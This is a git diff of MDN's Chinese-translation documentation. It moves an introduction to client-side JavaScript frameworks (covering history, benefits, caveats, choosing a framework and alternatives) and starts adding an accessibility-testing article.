It's possible to do things similar to this in vanilla JavaScript. Template literal strings make it easy to write strings of HTML that represent what the final element would look like. That might be a useful idea for something as simple as our to-do list application, but it's not maintainable for large applications that manage thousands of records of data, and could render just as many unique elements in a user interface.

+ +

框架提供给我们的其他功能

+ +

Let's look at some of the other advantages conferred upon us by frameworks. As we've alluded to before, the advantages of frameworks are achievable in vanilla JavaScript, but using a framework takes away all of the cognitive load of having to solve these problems yourself.

+ +

Tooling

+ +

Because each of the frameworks in this module have a large, active community, each framework's ecosystem provides tooling that Improves the developer experience. These tools make it easy to add things like testing (to ensure that your application behaves as it should) or linting (to ensure that your code is error-free and stylistically consistent).

+ +
+

Note: If you want to find out more details about web tooling concepts, have a read of our Client-side tooling overview.

+
+ +

Compartmentalization

+ +

Most major frameworks encourage developers to abstract the different parts of their user interfaces into components — maintainable, reusable chunks of code that can communicate with one another. All the code related to a given component can live in one file (or a couple of specific files), so that you as a developer know exactly where to go to make changes to that component. In a vanilla JavaScript app, you'd have to create your own set of conventions to achieve this in an efficient, scalable way. Many JavaScript developers, if left to their own devices, could end up with all the code related to one part of the UI being spread out all over a file — or in another file altogether.

+ +

Routing

+ +

The most essential feature of the web is that it allows users to navigate from one page to another – it is, after all, a network of interlinked documents. When you follow a link on this very website, your browser communicates with a server and fetches new content to display for you. As it does so, the URL in your address bar changes. You can save this new URL and come back to the page later on, or share it with others so they can easily find the same page. Your browser remembers your navigation history and allows you to navigate back and forth, too. This is called server-side routing.

+ +

Modern web applications typically do not fetch and render new HTML files — they load a single HTML shell, and continually update the DOM inside it (referred to as single page apps, or SPAs) without navigating users to new addresses on the web. Each new pseudo-webpage is usually called a view, and by default, no routing is done.

+ +

When an SPA is complex enough, and renders enough unique views, it's important to bring routing functionality into your application. People are used to being able to link to specific pages in an application, travel forward and backward in their navigation history, etc., and their experience suffers when these standard web features are broken. When routing is handled by a client application in this fashion, it is aptly called client-side routing.

+ +

It's possible to make a router using the native capabilities of JavaScript and the browser, but popular, actively developed frameworks have companion libraries that make routing a more intuitive part of the development process.

+ +

使用框架的注意事项

+ +

Being an effective web developer means using the most appropriate tools for the job. JavaScript frameworks make front-end application development easy, but they are not a silver bullet that will solve all problems. This section talks about some of the things you should consider when using frameworks. Bear in mind that you might not need a framework at all — beware that you don't end up using a framework just for the sake of it.

+ +

Familiarity with the tool

+ +

Just like vanilla JavaScript, frameworks take time to learn and have their quirks. Before you decide to use a framework for a project, be sure you have time to learn enough of its features for it to be useful to you rather than it working against you, and be sure that your teammates are comfortable with it as well.

+ +

Overengineering

+ +

If your web development project is a personal portfolio with a few pages, and those pages have little or no interactive capability, a framework (and all of its JavaScript) may not be necessary at all. That said, frameworks are not a monolith, and some of them are better-suited to small projects than others. In an article for Smashing Magazine, Sarah Drasner writes about how Vue can replace jQuery as a tool for making small portions of a webpage interactive.

+ +

Larger code base and abstraction

+ +

Frameworks allow you to write more declarative code – and sometimes less code overall – by dealing with the DOM interactions for you, behind the scenes. This abstraction is great for your experience as a developer, but it isn't free. In order to translate what you write into DOM changes, frameworks have to run their own code, which in turn makes your final piece of software larger and more computationally expensive to operate.

+ +

Some extra code is inevitable, and a framework that supports tree-shaking (removal of any code that isn't actually used in the app during the build process) will allow you to keep your applications small, but this is still a factor you need to keep in mind when considering your app's performance, especially on more network/storage-constrained devices, like mobile phones.

+ +

The abstraction of frameworks affects not only your JavaScript, but your relationship with the very nature of the web. No matter how you build for the web, the end result, the layer that your users ultimately interact with, is HTML. Writing your whole application in JavaScript can make you lose sight of HTML and the purpose of its various tags, and lead you to produce an HTML document that is un-semantic and inaccessible. In fact, it's possible to write a fragile application that depends entirely on JavaScript and will not function without it.

+ +

Frameworks are not the source of our problems. With the wrong priorities, it's possible for any application to be fragile, bloated, and inaccessible. Frameworks do, however, amplify our priorities as developers. If your priority is to make a complex web app, it's easy to do that. However, if your priorities don't carefully guard performance and accessibility, frameworks will amplify your fragility, your bloat, and your inaccessibility. Modern developer priorities, amplified by frameworks, have inverted the structure of the web in many places. Instead of a robust, content-first network of documents, the web now often puts JavaScript first and user experience last.

+ +

框架驱动页面的可访问性

+ +

Let's build on what we said in the previous section, and talk a bit more about accessibility. Making user interfaces accessible always requires some thought and effort, and frameworks can complicate that process. You often have to employ advanced framework APIs to access native browser features like ARIA live regions or focus management.

+ +

In some cases, framework applications create accessibility barriers that do not exist for traditional websites. The biggest example of this is in client-side routing, as mentioned earlier.

+ +

With traditional (server-side) routing, navigating the web has predictable results. The browser knows to set focus to the top of the page and assistive technologies will announce the title of the page. These things happen every time you navigate to a new page.

+ +

With client-side routing, your browser is not loading new web pages, so it doesn't know that it should automatically adjust focus or announce a new page title. Framework authors have devoted immense time and labor to writing JavaScript that recreates these features, and even then, no framework has done so perfectly.

+ +

The upshot is that you should consider accessibility from the very start of every web project, but bear in mind that abstracted codebases that use frameworks are more likely to suffer from major accessibility issues if you don't.

+ +

如何选择一个框架

+ +

Each of the frameworks discussed in this module take different approaches to web application development. Each is regularly improving or changing, and each has its pros and cons. Choosing the right framework is a team- and project-dependent process, and you should do your own research to uncover what suits your needs. That said, we've identified a few questions you can ask in order to research your options more effectively:

+ +
    +
  1. What browsers does the framework support?
  2. +
  3. What domain-specific languages does the framework utilize?
  4. +
  5. Does the framework have a strong community and good docs (and other support) available?
  6. +
+ +

The table in this section provides a glanceable summary of the current browser support offered by each framework, as well as the domain-specific languages with which it can be used.

+ +

Broadly, domain-specific languages (DSLs) are programming languages relevant in specific areas of software development. In the context of frameworks, DSLs are variations on JavaScript or HTML that make it easier to develop with that framework. Crucially, none of the frameworks require a developer to use a specific DSL, but they have almost all been designed with a specific DSL in mind. Choosing not to employ a framework’s preferred DSL will mean you miss out on features that would otherwise improve your developer experience.

+ +

You should seriously consider the support matrix and DSLs of a framework when making a choice for any new project. Mismatched browser support can be a barrier to your users; mismatched DSL support can be a barrier to you and your teammates.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FrameworkBrowser supportPreferred DSLSupported DSLs
AngularIE9+TypeScriptHTML-based; TypeScript
ReactModern (IE9+ with Polyfills)JSXJSX; TypeScript
VueIE9+HTML-basedHTML-based, JSX, Pug
EmberModern (IE9+ in Ember version 2.18)HandlebarsHandlebars, TypeScript
+ +
+

Note: DSLs we've described as "HTML-based" do not have official names. They are not really true DSLs, but they are non-standard HTML, so we believe they are worth highlighting.

+
+ +

Citations for this table:

+ + + +

Does the framework have a strong community?

+ +

This is perhaps the hardest metric to measure, because community size does not correlate directly to easy-to-access numbers. You can check a project's number of GitHub stars or weekly npm downloads to get an idea of its popularity, but sometimes the best thing to do is search a few forums or talk to other developers. It is not just about the community's size, but also how welcoming and inclusive it is, and how good available documentation is.

+ +

Opinions on the web

+ +

Don't just take our word on this matter — there are discussions all over the web. The Wikimedia Foundation recently chose to use Vue for its front-end, and posted a request for comments (RFC) on framework adoption. Eric Gardner, the author of the RFC, took time to outline the needs of the Wikimedia project and why certain frameworks were good choices for the team. This RFC serves as a great example of the kind of research you should do for yourself when planning to use a front-end framework.

+ +

The State of JavaScript survey is a helpful collection of feedback from JavaScript developers. It covers many topics related to JavaScript, including data about both the use of frameworks and developer sentiment toward them. Currently, there are several years of data available, allowing you to get a sense of a framework's popularity.

+ +

The Vue team has exhaustively compared Vue to other popular frameworks. There may be some bias in this comparison (which they note), but it's a valuable resource nonetheless.

+ +

客户端框架的替代方案

+ +

If you’re looking for tools to expedite the web development process, and you know your project isn’t going to require intensive client-side JavaScript, you could reach for one of a handful of other solutions for building the web:

+ + + +

Content management systems

+ +

Content-management systems (CMSes) are any tools that allow a user to create content for the web without directly writing code themselves. They're a good solution for large projects, especially projects that require input from content writers who have limited coding ability, or for programmers who want to save time. They do, however, require a significant amount of time to set up, and utilizing a CMS means that you surrender at least some measure of control over the final output of your website. For example: if your chosen CMS doesn't author accessible content by default, it's often difficult to improve this.

+ +

Popular examples include Wordpress, Joomla, and Drupal.

+ +

Server-side rendering

+ +

Server-side rendering (SSR) is an application architecture in which it is the server's job to render a single-page application. This is the opposite of client-side rendering, which is the most common and most straightforward way to build a JavaScript application. Server-side rendering is easier on the client's device, because you're only sending a rendered HTML file to them, but it can be difficult to set up compared to a client-side-rendered application.

+ +

All of the frameworks covered in this module support server-side rendering as well as client-side rendering. Check out Next.js for React, Nuxt.js for Vue (yes it is confusing, and no, these projects are not related!), FastBoot for Ember, and Angular Universal for Angular.

+ +
+

Note: Some SSR solutions are written and maintained by the community, whereas some are "official" solutions provided by the framework's maintainer.

+
+ +

Static site generators

+ +

Static site generators are programs that dynamically generate all the webpages of a multi-page website — including any relevant CSS or JavaScript — so that they can be published in any number of places. The publishing host could be a GitHub pages branch, a Netlify instance, or any private server of your choosing, for example. There are a number of advantages of this approach, mostly around performance (your user's device isn’t building the page with JavaScript; it's already complete) and security (static pages have fewer attack vectors). These sites can still utilize JavaScript where they need to, but they are not dependent upon it. Static site generators take time to learn, just like any other tool, which can be a barrier to your development process.

+ +

Static sites can have as few or as many unique pages as you want. Just as frameworks empower you to quickly write client-side JavaScript applications, static site generators allow you a way to quickly create HTML files you would otherwise have written individually. Like frameworks, static site generators allow developers to write components that define common pieces of your web pages, and to compose those components together to create a final page. In the context of static site generators, these components are called templates. Web pages built by static site generators can even be home to framework applications: if you want one specific page of your statically-generated website to boot up a React application when your user visits it for example, you can do that.

+ +

Static site generators have been around for quite a long time, but they have seen a bit of a revival in the recent history of the web. A handful of powerful options are now available, such as Hugo, Jekyll, Eleventy, and Gatsby.

+ +

If you'd like to learn more about static site generators on the whole, check out Tatiana Mac's Beginner's guide to Eleventy. In the first article of the series, she explains what a static site generator is, and how it relates to other means of publishing web content.

+ +

总结

+ +

And that brings us to the end of our introduction to frameworks — we’ve not taught you any code yet, but hopefully we've given you a useful background on why you'd use frameworks in the first place and how to go about choosing one, and made you excited to learn more and get stuck in!

+ +

Our next article goes down to a lower level, looking at the specific kinds of features frameworks tend to offer, and why they work like they do.

+ +

{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}

+ +

In this module

+ + diff --git "a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/\344\273\213\347\273\215/index.html" "b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/\344\273\213\347\273\215/index.html" deleted file mode 100644 index 3975354417..0000000000 --- "a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/\344\273\213\347\273\215/index.html" +++ /dev/null @@ -1,393 +0,0 @@ ---- -title: 客户端框架介绍 -slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/介绍 -tags: - - JavaScript - - 初学者 - - 学习 - - 客户端 - - 框架 -translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}
- -

在本章节我们开始大致了解框架, 简要回顾JavaScript和框架的历史,为什么框架会存在以及它们提供了什么, 如何开始考虑选择一个框架并学习, 以及对于客户端框架还有什么替代方案.

- - - - - - - - - - - - -
先决条件:熟悉 HTML, CSS, 以及 JavaScript 语言的核心.
目标:了解客户端JavaScript框架是如何存在的,它们能解决什么问题,还有哪些替代方案,以及如何选择一个框架.
- -

简史

- -

当JavaScript在1996被发布后, 它给网络增加了少许的交互性和乐趣, 直到那时, 网页仍由静态文档组成. 网络应该不仅仅是阅读,更是创造的地方. 随着JavaScript的流行. 使用JavaScript的开发者们创造工具来解决他们遇到的问题, 并且将其打包成称为的可复用组件, 这样就能和他人共享解决方案. 这种共享库的体系帮助塑造了网络的增长.

- -

现在, JavaScript是网络的基本部分, used on 95% of all websites, 而且网络又是现代生活的基本部分. 用户在网络上写文章, 管理预算, 听音乐, 看电影,  以及和相隔万里的人通过文字, 音频, 视频聊天来瞬时交流. 网络让我们能够做到那些过去只能在电脑上安装本地应用程序才能做到的事. 这些现代的, 复杂的, 具有交互性的网站通常被称为 网络应用程序.

- -

现代JavaScript框架的到来加快了打造高度动态化和交互性强的应用程序的速度.  框架 就是提供该如何构建应用程序的意见的库。这些意见能使应用具有可预测性和同质性。可预测性让软件能在扩展到很大规模的同时仍保持可维护性。可预测性和可维护性对于一个软件的长久健康运行是十分重要的。

- -

在现代网络中,JavaScript框架为众多令人印象深刻的软件提供支持——包括许多你可能每天都使用的网站。你正在阅读的这个MDN Web 文档页面, 就是使用React / ReactDOM框架为其前端提供动力。

- -

有哪些框架?

- -

有很多框架可供你选择,但以下主要介绍目前公认的“四大框架”。

- -

Ember

- -

Ember于2011年12月发布,最初作为SproutCore项目的延续而开始。比其新式的替代品(例如React和Vue),作为老框架它的用户人数要少得多。但因其稳定性、社区支持以及一些明智的编程原则,它仍然享有很高的知名度。

- -

Angular

- -

Angular 是一个开源 Web 应用程序框架,正式发布于2016年9月14日。它由构建 AngularJS 的团队完全重写,并由 Google 的 Angular 团队以及个人和公司社区共同领导。

- -

Angular 是一种基于组件的框架,使用声明式的HTML模板。在应用构建时,框架的编译器将 HTML 模板转换为优化好的 JavaScript 指令,这一过程对开发者是透明的。Angular 使用 TypeScript,它是 JavaScript 的超集,我们将在下一章中对其进行更多介绍。

- -

Vue

- -

Evan You first released Vue in 2014, after working on and learning from the original AngularJS project. Vue is the youngest of the big four, but has enjoyed a recent uptick in popularity.

- -

Vue, like AngularJS, extends HTML with some of its own code. Apart from that, it mainly relies on modern, standard JavaScript.

- -

React

- -

Facebook 在 2013 发布了 React。 在当时 React 已经被Facebook内部用来解决许多问题。 严格来说 React 本身并不是框架,而是一个用来渲染UI 组件的库。 React is used in combination with other libraries to make applications — React and React Native enable developers to make mobile applications; React and ReactDOM enables them to make web applications, etc.

- -

Because React and ReactDOM are so often used together, React is colloquially understood as a JavaScript framework. As you read through this module, we will be working with that colloquial understanding.

- -

React extends JavaScript with HTML-like syntax, known as JSX.

- -

框架为何会存在?

- -

我们已经讨论了因为什么契机而创造了框架,但我们仍不知道为什么开发者认为有必要创造它。要知道这个问题的答案,我们首先需要检查软件开发中的各种挑战。

- -

设想一个很常见的软件:一个To-Do清单创建器,在接下来的章节中我们会使用各种框架来实现它。这个应用应让用户可以完成诸如呈现任务列表、添加和删除任务等操作,且在完成这些操作的同时能可靠地跟踪和更新应用程序的底层数据。在软件开发中,这种底层数据被称为状态。

- -

上述每个目标理论上都很简单。我们可以遍历数据来列出清单,添加一个对象来创建新任务,使用标识符来查找、编辑和删除任务。需要注意的是,用户都是在浏览器中使用应用的这些功能,然而这就引出了一些问题: 每当我们修改应用的数据时,我们都需要更新用户界面以使其匹配。 

- -

我们可以通过To-Do应用的一个功能来检验这个问题的难点:呈现任务清单。

- -

冗长的DOM操作

- -

Building HTML elements and rendering them in the browser at the appropriate time takes a surprising amount of code. Let's say that our state is an array of objects structured like this:

- -
const state = [
-  {
-    id: 'todo-0',
-    name: 'Learn some frameworks!'
-  }
-]
- -

How do we show one of those tasks to our user? We want to represent each task as a list item – an HTML <li> element inside of an unordered list element (a <ul>). How do we make it? That could look something like this:

- -
function buildTodoItemEl(id, name) {
-  const item = document.createElement('li');
-  const span = document.createElement('span');
-  const textContent = document.createTextNode(name);
-
-  span.appendChild(textContent)
-
-  item.id = id;
-  item.appendChild(span);
-  item.appendChild(buildDeleteButtonEl(id));
-
-  return item;
-}
- -

Here, we use the document.createElement() method to make our <li>, and several more lines of code to create the properties and children it needs.

- -

The tenth line of this snippet references another build function: buildDeleteButtonEl(). It follows a similar pattern to the one we used to build a list item element:

- -
function buildDeleteButtonEl(id) {
-  const button = document.createElement('button');
-  const textContent = document.createTextNode('Delete');
-
-  button.setAttribute('type', 'button');
-  button.appendChild(textContent);
-
-  return button;
-}
- -

This button doesn't do anything yet, but it will later once we decide to implement our delete feature. The code that will render our items on the page might read something like this:

- -
function renderTodoList() {
-  const frag = document.createDocumentFragment();
-  state.tasks.forEach(task => {
-    const item = buildTodoItemEl(task.id, task.name);
-    frag.appendChild(item);
-  });
-
-  while (todoListEl.firstChild) {
-    todoListEl.removeChild(todoListEl.firstChild);
-  }
-  todoListEl.appendChild(frag);
-}
- -

We've now got well over thirty lines of code dedicated just to the UI – just to the step of rendering something in the DOM – and at no point do we add classes that we could use later to style our list-items!

- -

Working directly with the DOM, as in this example, requires understanding many things about how the DOM works: how to make elements; how to change their properties; how to put elements inside of each other; how to get them on the page. None of this code actually handles user interactions, or addresses adding or deleting a task. If we add those features, we have to remember to update our UI in the right time and in the right way.

- -

JavaScript frameworks were created to make this kind of work a little easier — they exist to provide a better developer experience. They don't bring brand-new powers to JavaScript; they give you easier access to JavaScript's powers so you can build for today's web.

- -

If you want to see code samples from this section in action, you can check out a working version of the app on CodePen, which also allows users to add and delete new tasks.

- -

Read more about the JavaScript used in this section:

- - - -

另一种打造UIs的方式

- -

Every JavaScript framework offers a way to write user interfaces more declaratively. That is, they allow you to write code that describes how your UI should look, and the framework makes it happen in the DOM behind the scenes.

- -

The vanilla JavaScript approach to building out new DOM elements in repetition was difficult to understand at a glance.  By contrast, the following block of code illustrates the way you might use Vue to describe our list of tasks:

- -
<ul>
-  <li v-for="task in tasks" v-bind:key="task.id">
-    <span>\{{task.name\}}</span>
-    <button type="button">Delete</button>
-  </li>
-</ul>
- -

That's it. This snippet reduces approximately thirty-two lines of code down to six lines. If the curly braces and v- attributes here are unfamiliar to you, that's okay; you’ll learn about Vue-specific syntax later on in the module. The thing to take away here is that this code looks like the UI it represents, whereas the vanilla JavaScript code does not.

- -

Thanks to Vue, we didn't have to write our own functions for building the UI; the framework will handle that for us in an optimized, efficient way. Our only role here was to describe to Vue what each item should look like. Developers who are familiar with Vue can join our project and quickly work out what is going on. Vue is not alone in this: using a framework improves team as well as individual efficiency.

- -

It's possible to do things similar to this in vanilla JavaScript. Template literal strings make it easy to write strings of HTML that represent what the final element would look like. That might be a useful idea for something as simple as our to-do list application, but it's not maintainable for large applications that manage thousands of records of data, and could render just as many unique elements in a user interface.

- -

框架提供给我们的其他功能

- -

Let's look at some of the other advantages conferred upon us by frameworks. As we've alluded to before, the advantages of frameworks are achievable in vanilla JavaScript, but using a framework takes away all of the cognitive load of having to solve these problems yourself.

- -

Tooling

- -

Because each of the frameworks in this module have a large, active community, each framework's ecosystem provides tooling that Improves the developer experience. These tools make it easy to add things like testing (to ensure that your application behaves as it should) or linting (to ensure that your code is error-free and stylistically consistent).

- -
-

Note: If you want to find out more details about web tooling concepts, have a read of our Client-side tooling overview.

-
- -

Compartmentalization

- -

Most major frameworks encourage developers to abstract the different parts of their user interfaces into components — maintainable, reusable chunks of code that can communicate with one another. All the code related to a given component can live in one file (or a couple of specific files), so that you as a developer know exactly where to go to make changes to that component. In a vanilla JavaScript app, you'd have to create your own set of conventions to achieve this in an efficient, scalable way. Many JavaScript developers, if left to their own devices, could end up with all the code related to one part of the UI being spread out all over a file — or in another file altogether.

- -

Routing

- -

The most essential feature of the web is that it allows users to navigate from one page to another – it is, after all, a network of interlinked documents. When you follow a link on this very website, your browser communicates with a server and fetches new content to display for you. As it does so, the URL in your address bar changes. You can save this new URL and come back to the page later on, or share it with others so they can easily find the same page. Your browser remembers your navigation history and allows you to navigate back and forth, too. This is called server-side routing.

- -

Modern web applications typically do not fetch and render new HTML files — they load a single HTML shell, and continually update the DOM inside it (referred to as single page apps, or SPAs) without navigating users to new addresses on the web. Each new pseudo-webpage is usually called a view, and by default, no routing is done.

- -

When an SPA is complex enough, and renders enough unique views, it's important to bring routing functionality into your application. People are used to being able to link to specific pages in an application, travel forward and backward in their navigation history, etc., and their experience suffers when these standard web features are broken. When routing is handled by a client application in this fashion, it is aptly called client-side routing.

- -

It's possible to make a router using the native capabilities of JavaScript and the browser, but popular, actively developed frameworks have companion libraries that make routing a more intuitive part of the development process.

- -

使用框架的注意事项

- -

Being an effective web developer means using the most appropriate tools for the job. JavaScript frameworks make front-end application development easy, but they are not a silver bullet that will solve all problems. This section talks about some of the things you should consider when using frameworks. Bear in mind that you might not need a framework at all — beware that you don't end up using a framework just for the sake of it.

- -

Familiarity with the tool

- -

Just like vanilla JavaScript, frameworks take time to learn and have their quirks. Before you decide to use a framework for a project, be sure you have time to learn enough of its features for it to be useful to you rather than it working against you, and be sure that your teammates are comfortable with it as well.

- -

Overengineering

- -

If your web development project is a personal portfolio with a few pages, and those pages have little or no interactive capability, a framework (and all of its JavaScript) may not be necessary at all. That said, frameworks are not a monolith, and some of them are better-suited to small projects than others. In an article for Smashing Magazine, Sarah Drasner writes about how Vue can replace jQuery as a tool for making small portions of a webpage interactive.

- -

Larger code base and abstraction

- -

Frameworks allow you to write more declarative code – and sometimes less code overall – by dealing with the DOM interactions for you, behind the scenes. This abstraction is great for your experience as a developer, but it isn't free. In order to translate what you write into DOM changes, frameworks have to run their own code, which in turn makes your final piece of software larger and more computationally expensive to operate.

- -

Some extra code is inevitable, and a framework that supports tree-shaking (removal of any code that isn't actually used in the app during the build process) will allow you to keep your applications small, but this is still a factor you need to keep in mind when considering your app's performance, especially on more network/storage-constrained devices, like mobile phones.

- -

The abstraction of frameworks affects not only your JavaScript, but your relationship with the very nature of the web. No matter how you build for the web, the end result, the layer that your users ultimately interact with, is HTML. Writing your whole application in JavaScript can make you lose sight of HTML and the purpose of its various tags, and lead you to produce an HTML document that is un-semantic and inaccessible. In fact, it's possible to write a fragile application that depends entirely on JavaScript and will not function without it.

- -

Frameworks are not the source of our problems. With the wrong priorities, it's possible for any application to be fragile, bloated, and inaccessible. Frameworks do, however, amplify our priorities as developers. If your priority is to make a complex web app, it's easy to do that. However, if your priorities don't carefully guard performance and accessibility, frameworks will amplify your fragility, your bloat, and your inaccessibility. Modern developer priorities, amplified by frameworks, have inverted the structure of the web in many places. Instead of a robust, content-first network of documents, the web now often puts JavaScript first and user experience last.

- -

框架驱动页面的可访问性

- -

Let's build on what we said in the previous section, and talk a bit more about accessibility. Making user interfaces accessible always requires some thought and effort, and frameworks can complicate that process. You often have to employ advanced framework APIs to access native browser features like ARIA live regions or focus management.

- -

In some cases, framework applications create accessibility barriers that do not exist for traditional websites. The biggest example of this is in client-side routing, as mentioned earlier.

- -

With traditional (server-side) routing, navigating the web has predictable results. The browser knows to set focus to the top of the page and assistive technologies will announce the title of the page. These things happen every time you navigate to a new page.

- -

With client-side routing, your browser is not loading new web pages, so it doesn't know that it should automatically adjust focus or announce a new page title. Framework authors have devoted immense time and labor to writing JavaScript that recreates these features, and even then, no framework has done so perfectly.

- -

The upshot is that you should consider accessibility from the very start of every web project, but bear in mind that abstracted codebases that use frameworks are more likely to suffer from major accessibility issues if you don't.

- -

如何选择一个框架

- -

Each of the frameworks discussed in this module take different approaches to web application development. Each is regularly improving or changing, and each has its pros and cons. Choosing the right framework is a team- and project-dependent process, and you should do your own research to uncover what suits your needs. That said, we've identified a few questions you can ask in order to research your options more effectively:

- -
    -
  1. What browsers does the framework support?
  2. -
  3. What domain-specific languages does the framework utilize?
  4. -
  5. Does the framework have a strong community and good docs (and other support) available?
  6. -
- -

The table in this section provides a glanceable summary of the current browser support offered by each framework, as well as the domain-specific languages with which it can be used.

- -

Broadly, domain-specific languages (DSLs) are programming languages relevant in specific areas of software development. In the context of frameworks, DSLs are variations on JavaScript or HTML that make it easier to develop with that framework. Crucially, none of the frameworks require a developer to use a specific DSL, but they have almost all been designed with a specific DSL in mind. Choosing not to employ a framework’s preferred DSL will mean you miss out on features that would otherwise improve your developer experience.

- -

You should seriously consider the support matrix and DSLs of a framework when making a choice for any new project. Mismatched browser support can be a barrier to your users; mismatched DSL support can be a barrier to you and your teammates.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FrameworkBrowser supportPreferred DSLSupported DSLs
AngularIE9+TypeScriptHTML-based; TypeScript
ReactModern (IE9+ with Polyfills)JSXJSX; TypeScript
VueIE9+HTML-basedHTML-based, JSX, Pug
EmberModern (IE9+ in Ember version 2.18)HandlebarsHandlebars, TypeScript
- -
-

Note: DSLs we've described as "HTML-based" do not have official names. They are not really true DSLs, but they are non-standard HTML, so we believe they are worth highlighting.

-
- -

Citations for this table:

- - - -

Does the framework have a strong community?

- -

This is perhaps the hardest metric to measure, because community size does not correlate directly to easy-to-access numbers. You can check a project's number of GitHub stars or weekly npm downloads to get an idea of its popularity, but sometimes the best thing to do is search a few forums or talk to other developers. It is not just about the community's size, but also how welcoming and inclusive it is, and how good available documentation is.

- -

Opinions on the web

- -

Don't just take our word on this matter — there are discussions all over the web. The Wikimedia Foundation recently chose to use Vue for its front-end, and posted a request for comments (RFC) on framework adoption. Eric Gardner, the author of the RFC, took time to outline the needs of the Wikimedia project and why certain frameworks were good choices for the team. This RFC serves as a great example of the kind of research you should do for yourself when planning to use a front-end framework.

- -

The State of JavaScript survey is a helpful collection of feedback from JavaScript developers. It covers many topics related to JavaScript, including data about both the use of frameworks and developer sentiment toward them. Currently, there are several years of data available, allowing you to get a sense of a framework's popularity.

- -

The Vue team has exhaustively compared Vue to other popular frameworks. There may be some bias in this comparison (which they note), but it's a valuable resource nonetheless.

- -

客户端框架的替代方案

- -

If you’re looking for tools to expedite the web development process, and you know your project isn’t going to require intensive client-side JavaScript, you could reach for one of a handful of other solutions for building the web:

- - - -

Content management systems

- -

Content-management systems (CMSes) are any tools that allow a user to create content for the web without directly writing code themselves. They're a good solution for large projects, especially projects that require input from content writers who have limited coding ability, or for programmers who want to save time. They do, however, require a significant amount of time to set up, and utilizing a CMS means that you surrender at least some measure of control over the final output of your website. For example: if your chosen CMS doesn't author accessible content by default, it's often difficult to improve this.

- -

Popular examples include Wordpress, Joomla, and Drupal.

- -

Server-side rendering

- -

Server-side rendering (SSR) is an application architecture in which it is the server's job to render a single-page application. This is the opposite of client-side rendering, which is the most common and most straightforward way to build a JavaScript application. Server-side rendering is easier on the client's device, because you're only sending a rendered HTML file to them, but it can be difficult to set up compared to a client-side-rendered application.

- -

All of the frameworks covered in this module support server-side rendering as well as client-side rendering. Check out Next.js for React, Nuxt.js for Vue (yes it is confusing, and no, these projects are not related!), FastBoot for Ember, and Angular Universal for Angular.

- -
-

Note: Some SSR solutions are written and maintained by the community, whereas some are "official" solutions provided by the framework's maintainer.

-
- -

Static site generators

- -

Static site generators are programs that dynamically generate all the webpages of a multi-page website — including any relevant CSS or JavaScript — so that they can be published in any number of places. The publishing host could be a GitHub pages branch, a Netlify instance, or any private server of your choosing, for example. There are a number of advantages of this approach, mostly around performance (your user's device isn’t building the page with JavaScript; it's already complete) and security (static pages have fewer attack vectors). These sites can still utilize JavaScript where they need to, but they are not dependent upon it. Static site generators take time to learn, just like any other tool, which can be a barrier to your development process.

- -

Static sites can have as few or as many unique pages as you want. Just as frameworks empower you to quickly write client-side JavaScript applications, static site generators allow you a way to quickly create HTML files you would otherwise have written individually. Like frameworks, static site generators allow developers to write components that define common pieces of your web pages, and to compose those components together to create a final page. In the context of static site generators, these components are called templates. Web pages built by static site generators can even be home to framework applications: if you want one specific page of your statically-generated website to boot up a React application when your user visits it for example, you can do that.

- -

Static site generators have been around for quite a long time, but they have seen a bit of a revival in the recent history of the web. A handful of powerful options are now available, such as Hugo, Jekyll, Eleventy, and Gatsby.

- -

If you'd like to learn more about static site generators on the whole, check out Tatiana Mac's Beginner's guide to Eleventy. In the first article of the series, she explains what a static site generator is, and how it relates to other means of publishing web content.

- -

总结

- -

And that brings us to the end of our introduction to frameworks — we’ve not taught you any code yet, but hopefully we've given you a useful background on why you'd use frameworks in the first place and how to go about choosing one, and made you excited to learn more and get stuck in!

- -

Our next article goes down to a lower level, looking at the specific kinds of features frameworks tend to offer, and why they work like they do.

- -

{{NextMenu("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}

- -

In this module

- - diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html new file mode 100644 index 0000000000..704f595fb4 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/accessibility/index.html @@ -0,0 +1,624 @@ +--- +title: 解决常见的可访问性问题 +slug: Learn/Tools_and_testing/Cross_browser_testing/可访问性 +tags: + - CSS + - CodingScripting + - HTML + - JavaScript + - 初学者 + - 可访问性 + - 学习 + - 工具 + - 文章 + - 测试 + - 跨浏览器 + - 键盘 +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}
+ +

接下来,我们将关注可访问性,提供关于一些常见问题的信息,如何进行简单测试以及如何使用审核/自动化工具来查找可访问性问题。

+ + + + + + + + + + + + +
前提:熟悉HTML, CSS,和JavaScript语言; 理解跨浏览器测试原理
目标:能够诊断常见的可访问性问题,并使用适当的工具和技术解决问题。
+ +

什么是可访问性?

+ +

当我们在web技术的背景下说可访问性时,大多数人立即想到确保残疾人可以使用网站/应用程序,例如:

+ + + +

但是,说可访问性仅与残疾人有关是错误的。实际上,可访问性的目的是使你的网站/应用程序在尽可能多的环境中被尽可能多的人使用,而不仅仅是那些使用高性能台式计算机的用户。极端的例子可能包括:

+ + + +

在某种程度上,本模块都是关于可访问性的 — 跨浏览器测试可确保你的网站可以被尽可能多的人使用。这篇可访问性是什么? 更全面透彻地定义了什么是可访问性。

+ +

